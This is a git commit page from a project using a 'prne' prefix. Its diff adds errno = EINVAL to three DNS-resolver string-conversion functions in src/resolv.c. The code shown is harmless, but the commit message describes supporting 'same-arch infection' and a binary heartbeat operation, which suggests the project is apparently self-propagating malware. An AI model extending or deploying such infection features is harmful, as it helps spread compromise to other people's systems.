diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/resolv.c | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/resolv.c')
-rw-r--r-- | src/resolv.c | 3 |
1 files changed, 3 insertions, 0 deletions
diff --git a/src/resolv.c b/src/resolv.c index 817c9f8..b7f00e7 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -1609,6 +1609,7 @@ const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) { case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT"; case PRNE_RESOLV_QR_STATUS: return "STATUS"; } + errno = EINVAL; return NULL; } @@ -1621,6 +1622,7 @@ const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) { case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP"; case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED"; } + errno = EINVAL; return NULL; } @@ -1635,5 +1637,6 @@ const char *prne_resolv_rrtype_tostr (const uint16_t rrt) { case PRNE_RESOLV_RTYPE_TXT: return "TXT"; case PRNE_RESOLV_RTYPE_AAAA: return "AAAA"; } + errno = EINVAL; return NULL; } |